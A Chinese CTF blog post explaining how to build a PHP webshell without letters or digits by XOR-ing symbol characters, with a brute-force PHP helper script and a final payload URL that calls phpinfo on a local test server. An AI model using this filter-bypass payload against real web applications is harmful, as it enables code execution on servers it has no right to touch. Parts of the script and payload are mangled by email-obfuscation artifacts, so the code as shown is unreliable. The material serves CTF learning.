当前位置:网站首页>无字母数字webshell
无字母数字webshell
2022-06-09 15:13:00 【用户2700375】
最近ctf经常遇到类似姿势的题目,最开始还是比较蒙的 今天来进行一个总结
文章参考p牛的博客
无字母数字 如何构造一句话木马。
这里用到三种方法
异或构造
这种方法用到特殊符号的异或最终得到数字或者字母
如上图
echo "~"^"$"
echo "^"^"<"即可构造出字母 转换过程为
将两个要比较的字符转换成ascii之后。进行异或运算后得到了字母
~的ascii值为126 126的二进制为1111110
$的ascii值为36 36的二进制为 0100100
两个二进制的值进行异或运算得到 1011010转换成ascii为90 也就是对应大写字母Z
那么我们如果构造处一句话 不可能一个一个去试对吧 这里贴上一个 异或得到字母的PHP脚本
<?php
$test = '[email protected]#$%^&*()_+\|/?.,-={}[]';
for($i=0;$i<strlen($test);$i++){
for($j=0;$j<strlen($test);$j++){
if(ord($test[$i]^$test[$j])>64 && ord($test[$i]^$test[$j])<91){
echo $test[$i].'^'.$test[$j].'结果为:';
echo $test[$i]^$test[$j];
echo '<br>';
}else if(ord($test[$i]^$test[$j])>97 && ord($test[$i]^$test[$j])<122){
echo $test[$i].'^'.$test[$j].'结果为:';
echo $test[$i]^$test[$j];
echo '<br>';
}
}
}
?>CTF
一道简单的题目 首先我们构造异或后为phpinfo的 payload
-^] p
(^@ h
-^] p
)^@ i
.^@ n
=^{ f
@^/ o传入的知识phpinfo字符串 最终还需传入括号
最终payload为
http://127.0.0.1/webshell/ctf.php?code=$_='-(-)[email protected]'^']@]@@[/';$_();边栏推荐
- 公司新来的阿里P6被辞退了,因为写测试用例不规范,躺平的悲哀?
- MySQL 8.0.28 安装配置图文教程
- 博文推荐|BookKeeper - Apache Pulsar 高可用 / 强一致 / 低延迟的存储实现
- JS事件流、事件冒泡、阻止冒泡、事件捕获(一看就懂)
- Huawei announced its top ten inventions: efficient additive network and multi-objective game intelligent driving
- ARM64 上的性能怪兽:API 网关 Apache APISIX 在 AWS Graviton3 上的安装和性能测试
- 分布式数据对象:超级终端的'全局变量'
- 淘宝小程序 2048游戏
- 期货网上开户安全吗?期货妙手机开户吗?
- [Typecho blog Xiaobai building tutorial] you are only one step away from having your own blog
猜你喜欢

混动大年,比亚迪的风评真要反转?

List used by icomponent of unity dots

ARM64 上的性能怪兽:API 网关 Apache APISIX 在 AWS Graviton3 上的安装和性能测试

EasyExcel-合并单元格

InfoQ geek media's 15th anniversary solicitation of papers | design practice of micro service architecture in the cloud native Era

被大厂认可的测试报告怎么写?拥有这30套模板的我彻底起飞

Brand renewal, product innovation, marketing innovation, Dongfeng Peugeot's upward road
![[paper] cascade rpn: delving into high quality region proposal network with adaptive revolution](/img/bc/675a4cd11ceb69cdc5be1864003be0.png)
[paper] cascade rpn: delving into high quality region proposal network with adaptive revolution

ECCV 2020 | star: pedestrian trajectory prediction model based on transformer (II)

Details on how Tencent can reduce the live broadcast delay by more than 90%
随机推荐
tmux(Terminal MultipleXer)命令使用
淘宝小程序签到功能
松下高管:苹果CarPlay不是威胁 而是对自家产品的补充
How insecure is NFT from copyright to assets?
小程序中实现视图懒加载
Why do SQL statements use indexes but still slow queries?
List used by icomponent of unity dots
网络安全等级测评和商用密码应用安全性评估是一回事吗?
Docker-Compose实现Mysql主从
How to write a test report approved by a large manufacturer? With these 30 sets of templates, I take off completely
利用Redis进行数据缓存的项目实践
Redis实现登录注册的示例代码
【四、基于域名的几种互联网企业需求分析】
ARM64 上的性能怪兽:API 网关 Apache APISIX 在 AWS Graviton3 上的安装和性能测试
Mh2103act6 domestic software and hardware compatible alternative to stm32f103cbt6
为什么 SQL 语句使用了索引,但却还是慢查询?
面积坐标推导三角形常应变单元(CST)
[paper] cascade rpn: delving into high quality region proposal network with adaptive revolution
mongoose连接多个数据库简单例子
JS实现JSON数组合并和去重